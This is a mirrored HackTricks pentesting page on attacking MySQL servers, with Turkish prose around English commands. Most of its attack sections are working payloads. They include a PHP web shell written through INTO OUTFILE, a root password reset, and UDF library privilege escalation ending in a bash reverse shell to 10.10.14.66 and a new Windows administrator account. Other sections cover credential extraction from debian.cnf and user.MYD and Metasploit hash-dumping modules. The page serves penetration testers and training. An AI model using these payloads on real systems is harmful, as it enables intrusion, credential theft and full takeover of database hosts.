mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
654 lines
24 KiB
Markdown
654 lines
24 KiB
Markdown
# 3306 - Pentesting Mysql
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## **Temel Bilgiler**
|
||
|
||
**MySQL**, ücretsiz olarak sunulan açık kaynaklı bir **İlişkisel Veritabanı Yönetim Sistemi (RDBMS)** olarak tanımlanabilir. **Yapılandırılmış Sorgu Dili (SQL)** üzerinde çalışarak veritabanlarının yönetimini ve manipülasyonunu sağlar.
|
||
|
||
**Varsayılan port:** 3306
|
||
```
|
||
3306/tcp open mysql
|
||
```
|
||
## **Bağlan**
|
||
|
||
### **Yerel**
|
||
```bash
|
||
mysql -u root # Connect to root without password
|
||
mysql -u root -p # A password will be asked (check someone)
|
||
```
|
||
### Uzaktan
|
||
```bash
|
||
mysql -h <Hostname> -u root
|
||
mysql -h <Hostname> -u root@localhost
|
||
```
|
||
## External Enumeration
|
||
|
||
Bazı enumarasyon eylemleri geçerli kimlik bilgileri gerektirir.
|
||
```bash
|
||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||
msf> use auxiliary/scanner/mysql/mysql_version
|
||
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
|
||
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
|
||
msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||
```
|
||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql)
|
||
|
||
### Herhangi bir ikili veri yazın
|
||
```bash
|
||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||
```
|
||
## **MySQL komutları**
|
||
```bash
|
||
show databases;
|
||
use <database>;
|
||
connect <database>;
|
||
show tables;
|
||
describe <table_name>;
|
||
show columns from <table>;
|
||
|
||
select version(); #version
|
||
select @@version(); #version
|
||
select user(); #User
|
||
select database(); #database name
|
||
|
||
#Get a shell with the mysql client user
|
||
\! sh
|
||
|
||
#Basic MySQLi
|
||
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
|
||
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
|
||
|
||
#Read & Write
|
||
## Yo need FILE privilege to read & write to files.
|
||
select load_file('/var/lib/mysql-files/key.txt'); #Read file
|
||
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
|
||
|
||
#Try to change MySQL root password
|
||
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
|
||
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
|
||
FLUSH PRIVILEGES;
|
||
quit;
|
||
```
|
||
|
||
```bash
|
||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||
```
|
||
### MySQL İzinlerinin Sayımı
|
||
```sql
|
||
#Mysql
|
||
SHOW GRANTS [FOR user];
|
||
SHOW GRANTS;
|
||
SHOW GRANTS FOR 'root'@'localhost';
|
||
SHOW GRANTS FOR CURRENT_USER();
|
||
|
||
# Get users, permissions & hashes
|
||
SELECT * FROM mysql.user;
|
||
|
||
#From DB
|
||
select * from mysql.user where user='root';
|
||
## Get users with file_priv
|
||
select user,file_priv from mysql.user where file_priv='Y';
|
||
## Get users with Super_priv
|
||
select user,Super_priv from mysql.user where Super_priv='Y';
|
||
|
||
# List functions
|
||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
|
||
#@ Functions not from sys. db
|
||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||
```
|
||
Dokümanlarda her bir ayrıcalığın anlamını görebilirsiniz: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
|
||
|
||
### MySQL Dosya RCE
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
|
||
[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
|
||
{% endcontent-ref %}
|
||
|
||
## MySQL istemcisi tarafından rastgele dosya okuma
|
||
|
||
Aslında, **bir tabloya yerel veri yüklemeye** çalıştığınızda, MySQL veya MariaDB sunucusu **istemciden dosyayı okumasını** ve içeriği göndermesini ister. **Sonra, eğer bir mysql istemcisini kendi MySQL sunucunuza bağlanacak şekilde değiştirebilirseniz, rastgele dosyaları okuyabilirsiniz.**\
|
||
Lütfen bunun şu şekilde bir davranış olduğunu unutmayın:
|
||
```bash
|
||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||
```
|
||
(“local” kelimesine dikkat edin)\
|
||
Çünkü “local” olmadan şunları alabilirsiniz:
|
||
```bash
|
||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||
|
||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||
```
|
||
**İlk PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||
**Bu belgede saldırının tam tanımını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||
**Burada saldırının bir genel görünümünü bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) **İspanya'daki** en ilgili siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## POST
|
||
|
||
### Mysql Kullanıcısı
|
||
|
||
Mysql'in **root** olarak çalışıyorsa, bu çok ilginç olacaktır:
|
||
```bash
|
||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||
```
|
||
#### mysqld.cnf'nin Tehlikeli Ayarları
|
||
|
||
MySQL hizmetlerinin yapılandırmasında, işletim ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılır:
|
||
|
||
* **`user`** ayarı, MySQL hizmetinin çalışacağı kullanıcıyı belirlemek için kullanılır.
|
||
* **`password`** MySQL kullanıcısına bağlı olan şifreyi oluşturmak için uygulanır.
|
||
* **`admin_address`** yönetim ağ arayüzünde TCP/IP bağlantılarını dinleyen IP adresini belirtir.
|
||
* **`debug`** değişkeni, günlüklerde hassas bilgileri içeren mevcut hata ayıklama yapılandırmalarını gösterir.
|
||
* **`sql_warnings`** uyarılar ortaya çıktığında tek satırlık INSERT ifadeleri için bilgi dizgileri üretilip üretilmeyeceğini yönetir ve günlüklerde hassas veriler içerebilir.
|
||
* **`secure_file_priv`** veri içe aktarma ve dışa aktarma işlemlerinin kapsamını kısıtlayarak güvenliği artırır.
|
||
|
||
### Yetki Yükseltme
|
||
```bash
|
||
# Get current user (an all users) privileges and hashes
|
||
use mysql;
|
||
select user();
|
||
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
|
||
|
||
# Get users, permissions & creds
|
||
SELECT * FROM mysql.user;
|
||
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
|
||
|
||
# Create user and give privileges
|
||
create user test identified by 'test';
|
||
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
|
||
|
||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||
\! sh
|
||
```
|
||
### Privilege Escalation via library
|
||
|
||
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekir. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gereklidir.
|
||
|
||
Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir, ihtiyacınıza uygun olanı seçin.
|
||
|
||
Eğer bu kütüphanelere **sahip değilseniz**, ya **onları arayabilir** ya da bu [**linux C kodunu**](https://www.exploit-db.com/exploits/1518) indirip **linux zafiyetli makine içinde derleyebilirsiniz**:
|
||
```bash
|
||
gcc -g -c raptor_udf2.c
|
||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||
```
|
||
Artık kütüphaneye sahip olduğunuza göre, Mysql'e ayrıcalıklı bir kullanıcı (root?) olarak giriş yapın ve sonraki adımları izleyin:
|
||
|
||
#### Linux
|
||
```sql
|
||
# Use a database
|
||
use mysql;
|
||
# Create a table to load the library and move it to the plugins dir
|
||
create table npn(line blob);
|
||
# Load the binary library inside the table
|
||
## You might need to change the path and file name
|
||
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
|
||
# Get the plugin_dir path
|
||
show variables like '%plugin%';
|
||
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
|
||
# dump in there the library
|
||
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
|
||
# Create a function to execute commands
|
||
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
||
# Execute commands
|
||
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
||
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
||
```
|
||
#### Windows
|
||
```sql
|
||
# CHech the linux comments for more indications
|
||
USE mysql;
|
||
CREATE TABLE npn(line blob);
|
||
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
|
||
show variables like '%plugin%';
|
||
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
|
||
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||
SELECT sys_exec("net user npn npn12345678 /add");
|
||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||
```
|
||
### MySQL kimlik bilgilerini dosyalardan çıkarma
|
||
|
||
_/etc/mysql/debian.cnf_ içinde **düz metin şifresi** olan **debian-sys-maint** kullanıcısını bulabilirsiniz.
|
||
```bash
|
||
cat /etc/mysql/debian.cnf
|
||
```
|
||
Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**.
|
||
|
||
Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ **MySQL kullanıcılarının tüm hash'lerini** (veritabanındaki mysql.user'dan çıkarabileceğiniz) bulabilirsiniz._
|
||
|
||
Bunları çıkarmak için:
|
||
```bash
|
||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||
```
|
||
### Günlüğü etkinleştirme
|
||
|
||
MySQL sorgularının günlüğünü `/etc/mysql/my.cnf` dosyasında aşağıdaki satırları yorumdan çıkararak etkinleştirebilirsiniz:
|
||
|
||
![](<../.gitbook/assets/image (899).png>)
|
||
|
||
### Kullanışlı dosyalar
|
||
|
||
Yapılandırma Dosyaları
|
||
|
||
* windows \*
|
||
* config.ini
|
||
* my.ini
|
||
* windows\my.ini
|
||
* winnt\my.ini
|
||
* \<InstDir>/mysql/data/
|
||
* unix
|
||
* my.cnf
|
||
* /etc/my.cnf
|
||
* /etc/mysql/my.cnf
|
||
* /var/lib/mysql/my.cnf
|
||
* \~/.my.cnf
|
||
* /etc/my.cnf
|
||
* Komut Geçmişi
|
||
* \~/.mysql.history
|
||
* Günlük Dosyaları
|
||
* connections.log
|
||
* update.log
|
||
* common.log
|
||
|
||
## Varsayılan MySQL Veritabanı/Tabloları
|
||
|
||
{% tabs %}
|
||
{% tab title="information_schema" %}
|
||
ALL\_PLUGINS\
|
||
APPLICABLE\_ROLES\
|
||
CHARACTER\_SETS\
|
||
CHECK\_CONSTRAINTS\
|
||
COLLATIONS\
|
||
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
|
||
COLUMNS\
|
||
COLUMN\_PRIVILEGES\
|
||
ENABLED\_ROLES\
|
||
ENGINES\
|
||
EVENTS\
|
||
FILES\
|
||
GLOBAL\_STATUS\
|
||
GLOBAL\_VARIABLES\
|
||
KEY\_COLUMN\_USAGE\
|
||
KEY\_CACHES\
|
||
OPTIMIZER\_TRACE\
|
||
PARAMETERS\
|
||
PARTITIONS\
|
||
PLUGINS\
|
||
PROCESSLIST\
|
||
PROFILING\
|
||
REFERENTIAL\_CONSTRAINTS\
|
||
ROUTINES\
|
||
SCHEMATA\
|
||
SCHEMA\_PRIVILEGES\
|
||
SESSION\_STATUS\
|
||
SESSION\_VARIABLES\
|
||
STATISTICS\
|
||
SYSTEM\_VARIABLES\
|
||
TABLES\
|
||
TABLESPACES\
|
||
TABLE\_CONSTRAINTS\
|
||
TABLE\_PRIVILEGES\
|
||
TRIGGERS\
|
||
USER\_PRIVILEGES\
|
||
VIEWS\
|
||
INNODB\_LOCKS\
|
||
INNODB\_TRX\
|
||
INNODB\_SYS\_DATAFILES\
|
||
INNODB\_FT\_CONFIG\
|
||
INNODB\_SYS\_VIRTUAL\
|
||
INNODB\_CMP\
|
||
INNODB\_FT\_BEING\_DELETED\
|
||
INNODB\_CMP\_RESET\
|
||
INNODB\_CMP\_PER\_INDEX\
|
||
INNODB\_CMPMEM\_RESET\
|
||
INNODB\_FT\_DELETED\
|
||
INNODB\_BUFFER\_PAGE\_LRU\
|
||
INNODB\_LOCK\_WAITS\
|
||
INNODB\_TEMP\_TABLE\_INFO\
|
||
INNODB\_SYS\_INDEXES\
|
||
INNODB\_SYS\_TABLES\
|
||
INNODB\_SYS\_FIELDS\
|
||
INNODB\_CMP\_PER\_INDEX\_RESET\
|
||
INNODB\_BUFFER\_PAGE\
|
||
INNODB\_FT\_DEFAULT\_STOPWORD\
|
||
INNODB\_FT\_INDEX\_TABLE\
|
||
INNODB\_FT\_INDEX\_CACHE\
|
||
INNODB\_SYS\_TABLESPACES\
|
||
INNODB\_METRICS\
|
||
INNODB\_SYS\_FOREIGN\_COLS\
|
||
INNODB\_CMPMEM\
|
||
INNODB\_BUFFER\_POOL\_STATS\
|
||
INNODB\_SYS\_COLUMNS\
|
||
INNODB\_SYS\_FOREIGN\
|
||
INNODB\_SYS\_TABLESTATS\
|
||
GEOMETRY\_COLUMNS\
|
||
SPATIAL\_REF\_SYS\
|
||
CLIENT\_STATISTICS\
|
||
INDEX\_STATISTICS\
|
||
USER\_STATISTICS\
|
||
INNODB\_MUTEXES\
|
||
TABLE\_STATISTICS\
|
||
INNODB\_TABLESPACES\_ENCRYPTION\
|
||
user\_variables\
|
||
INNODB\_TABLESPACES\_SCRUBBING\
|
||
INNODB\_SYS\_SEMAPHORE\_WAITS
|
||
{% endtab %}
|
||
|
||
{% tab title="mysql" %}
|
||
columns\_priv\
|
||
column\_stats\
|
||
db\
|
||
engine\_cost\
|
||
event\
|
||
func\
|
||
general\_log\
|
||
gtid\_executed\
|
||
gtid\_slave\_pos\
|
||
help\_category\
|
||
help\_keyword\
|
||
help\_relation\
|
||
help\_topic\
|
||
host\
|
||
index\_stats\
|
||
innodb\_index\_stats\
|
||
innodb\_table\_stats\
|
||
ndb\_binlog\_index\
|
||
plugin\
|
||
proc\
|
||
procs\_priv\
|
||
proxies\_priv\
|
||
roles\_mapping\
|
||
server\_cost\
|
||
servers\
|
||
slave\_master\_info\
|
||
slave\_relay\_log\_info\
|
||
slave\_worker\_info\
|
||
slow\_log\
|
||
tables\_priv\
|
||
table\_stats\
|
||
time\_zone\
|
||
time\_zone\_leap\_second\
|
||
time\_zone\_name\
|
||
time\_zone\_transition\
|
||
time\_zone\_transition\_type\
|
||
transaction\_registry\
|
||
user
|
||
{% endtab %}
|
||
|
||
{% tab title="performance_schema" %}
|
||
accounts\
|
||
cond\_instances\
|
||
events\_stages\_current\
|
||
events\_stages\_history\
|
||
events\_stages\_history\_long\
|
||
events\_stages\_summary\_by\_account\_by\_event\_name\
|
||
events\_stages\_summary\_by\_host\_by\_event\_name\
|
||
events\_stages\_summary\_by\_thread\_by\_event\_name\
|
||
events\_stages\_summary\_by\_user\_by\_event\_name\
|
||
events\_stages\_summary\_global\_by\_event\_name\
|
||
events\_statements\_current\
|
||
events\_statements\_history\
|
||
events\_statements\_history\_long\
|
||
events\_statements\_summary\_by\_account\_by\_event\_name\
|
||
events\_statements\_summary\_by\_digest\
|
||
events\_statements\_summary\_by\_host\_by\_event\_name\
|
||
events\_statements\_summary\_by\_program\
|
||
events\_statements\_summary\_by\_thread\_by\_event\_name\
|
||
events\_statements\_summary\_by\_user\_by\_event\_name\
|
||
events\_statements\_summary\_global\_by\_event\_name\
|
||
events\_transactions\_current\
|
||
events\_transactions\_history\
|
||
events\_transactions\_history\_long\
|
||
events\_transactions\_summary\_by\_account\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_host\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_thread\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_user\_by\_event\_name\
|
||
events\_transactions\_summary\_global\_by\_event\_name\
|
||
events\_waits\_current\
|
||
events\_waits\_history\
|
||
events\_waits\_history\_long\
|
||
events\_waits\_summary\_by\_account\_by\_event\_name\
|
||
events\_waits\_summary\_by\_host\_by\_event\_name\
|
||
events\_waits\_summary\_by\_instance\
|
||
events\_waits\_summary\_by\_thread\_by\_event\_name\
|
||
events\_waits\_summary\_by\_user\_by\_event\_name\
|
||
events\_waits\_summary\_global\_by\_event\_name\
|
||
file\_instances\
|
||
file\_summary\_by\_event\_name\
|
||
file\_summary\_by\_instance\
|
||
global\_status\
|
||
global\_variables\
|
||
host\_cache\
|
||
hosts\
|
||
memory\_summary\_by\_account\_by\_event\_name\
|
||
memory\_summary\_by\_host\_by\_event\_name\
|
||
memory\_summary\_by\_thread\_by\_event\_name\
|
||
memory\_summary\_by\_user\_by\_event\_name\
|
||
memory\_summary\_global\_by\_event\_name\
|
||
metadata\_locks\
|
||
mutex\_instances\
|
||
objects\_summary\_global\_by\_type\
|
||
performance\_timers\
|
||
prepared\_statements\_instances\
|
||
replication\_applier\_configuration\
|
||
replication\_applier\_status\
|
||
replication\_applier\_status\_by\_coordinator\
|
||
replication\_applier\_status\_by\_worker\
|
||
replication\_connection\_configuration\
|
||
replication\_connection\_status\
|
||
replication\_group\_member\_stats\
|
||
replication\_group\_members\
|
||
rwlock\_instances\
|
||
session\_account\_connect\_attrs\
|
||
session\_connect\_attrs\
|
||
session\_status\
|
||
session\_variables\
|
||
setup\_actors\
|
||
setup\_consumers\
|
||
setup\_instruments\
|
||
setup\_objects\
|
||
setup\_timers\
|
||
socket\_instances\
|
||
socket\_summary\_by\_event\_name\
|
||
socket\_summary\_by\_instance\
|
||
status\_by\_account\
|
||
status\_by\_host\
|
||
status\_by\_thread\
|
||
status\_by\_user\
|
||
table\_handles\
|
||
table\_io\_waits\_summary\_by\_index\_usage\
|
||
table\_io\_waits\_summary\_by\_table\
|
||
table\_lock\_waits\_summary\_by\_table\
|
||
threads\
|
||
user\_variables\_by\_thread\
|
||
users\
|
||
variables\_by\_thread
|
||
{% endtab %}
|
||
|
||
{% tab title="sys" %}
|
||
host\_summary\
|
||
host\_summary\_by\_file\_io\
|
||
host\_summary\_by\_file\_io\_type\
|
||
host\_summary\_by\_stages\
|
||
host\_summary\_by\_statement\_latency\
|
||
host\_summary\_by\_statement\_type\
|
||
innodb\_buffer\_stats\_by\_schema\
|
||
innodb\_buffer\_stats\_by\_table\
|
||
innodb\_lock\_waits\
|
||
io\_by\_thread\_by\_latency\
|
||
io\_global\_by\_file\_by\_bytes\
|
||
io\_global\_by\_file\_by\_latency\
|
||
io\_global\_by\_wait\_by\_bytes\
|
||
io\_global\_by\_wait\_by\_latency\
|
||
latest\_file\_io\
|
||
memory\_by\_host\_by\_current\_bytes\
|
||
memory\_by\_thread\_by\_current\_bytes\
|
||
memory\_by\_user\_by\_current\_bytes\
|
||
memory\_global\_by\_current\_bytes\
|
||
memory\_global\_total\
|
||
metrics\
|
||
processlist\
|
||
ps\_check\_lost\_instrumentation\
|
||
schema\_auto\_increment\_columns\
|
||
schema\_index\_statistics\
|
||
schema\_object\_overview\
|
||
schema\_redundant\_indexes\
|
||
schema\_table\_lock\_waits\
|
||
schema\_table\_statistics\
|
||
schema\_table\_statistics\_with\_buffer\
|
||
schema\_tables\_with\_full\_table\_scans\
|
||
schema\_unused\_indexes\
|
||
session\
|
||
session\_ssl\_status\
|
||
statement\_analysis\
|
||
statements\_with\_errors\_or\_warnings\
|
||
statements\_with\_full\_table\_scans\
|
||
statements\_with\_runtimes\_in\_95th\_percentile\
|
||
statements\_with\_sorting\
|
||
statements\_with\_temp\_tables\
|
||
sys\_config\
|
||
user\_summary\
|
||
user\_summary\_by\_file\_io\
|
||
user\_summary\_by\_file\_io\_type\
|
||
user\_summary\_by\_stages\
|
||
user\_summary\_by\_statement\_latency\
|
||
user\_summary\_by\_statement\_type\
|
||
version\
|
||
wait\_classes\_global\_by\_avg\_latency\
|
||
wait\_classes\_global\_by\_latency\
|
||
waits\_by\_host\_by\_latency\
|
||
waits\_by\_user\_by\_latency\
|
||
waits\_global\_by\_latency\
|
||
x$host\_summary\
|
||
x$host\_summary\_by\_file\_io\
|
||
x$host\_summary\_by\_file\_io\_type\
|
||
x$host\_summary\_by\_stages\
|
||
x$host\_summary\_by\_statement\_latency\
|
||
x$host\_summary\_by\_statement\_type\
|
||
x$innodb\_buffer\_stats\_by\_schema\
|
||
x$innodb\_buffer\_stats\_by\_table\
|
||
x$innodb\_lock\_waits\
|
||
x$io\_by\_thread\_by\_latency\
|
||
x$io\_global\_by\_file\_by\_bytes\
|
||
x$io\_global\_by\_file\_by\_latency\
|
||
x$io\_global\_by\_wait\_by\_bytes\
|
||
x$io\_global\_by\_wait\_by\_latency\
|
||
x$latest\_file\_io\
|
||
x$memory\_by\_host\_by\_current\_bytes\
|
||
x$memory\_by\_thread\_by\_current\_bytes\
|
||
x$memory\_by\_user\_by\_current\_bytes\
|
||
x$memory\_global\_by\_current\_bytes\
|
||
x$memory\_global\_total\
|
||
x$processlist\
|
||
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
|
||
x$ps\_digest\_avg\_latency\_distribution\
|
||
x$ps\_schema\_table\_statistics\_io\
|
||
x$schema\_flattened\_keys\
|
||
x$schema\_index\_statistics\
|
||
x$schema\_table\_lock\_waits\
|
||
x$schema\_table\_statistics\
|
||
x$schema\_table\_statistics\_with\_buffer\
|
||
x$schema\_tables\_with\_full\_table\_scans\
|
||
x$session\
|
||
x$statement\_analysis\
|
||
x$statements\_with\_errors\_or\_warnings\
|
||
x$statements\_with\_full\_table\_scans\
|
||
x$statements\_with\_runtimes\_in\_95th\_percentile\
|
||
x$statements\_with\_sorting\
|
||
x$statements\_with\_temp\_tables\
|
||
x$user\_summary\
|
||
x$user\_summary\_by\_file\_io\
|
||
x$user\_summary\_by\_file\_io\_type\
|
||
x$user\_summary\_by\_stages\
|
||
x$user\_summary\_by\_statement\_latency\
|
||
x$user\_summary\_by\_statement\_type\
|
||
x$wait\_classes\_global\_by\_avg\_latency\
|
||
x$wait\_classes\_global\_by\_latency\
|
||
x$waits\_by\_host\_by\_latency\
|
||
x$waits\_by\_user\_by\_latency\
|
||
x$waits\_global\_by\_latency
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
## HackTricks Otomatik Komutlar
|
||
```
|
||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||
Port_Number: 3306 #Comma separated if there is more than one.
|
||
Protocol_Description: MySql #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for MySql
|
||
Note: |
|
||
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-mysql
|
||
|
||
Entry_2:
|
||
Name: Nmap
|
||
Description: Nmap with MySql Scripts
|
||
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
|
||
|
||
Entry_3:
|
||
Name: MySql
|
||
Description: Attempt to connect to mysql server
|
||
Command: mysql -h {IP} -u {Username}@localhost
|
||
|
||
Entry_4:
|
||
Name: MySql consolesless mfs enumeration
|
||
Description: MySql enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) **İspanya'daki** en ilgili siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
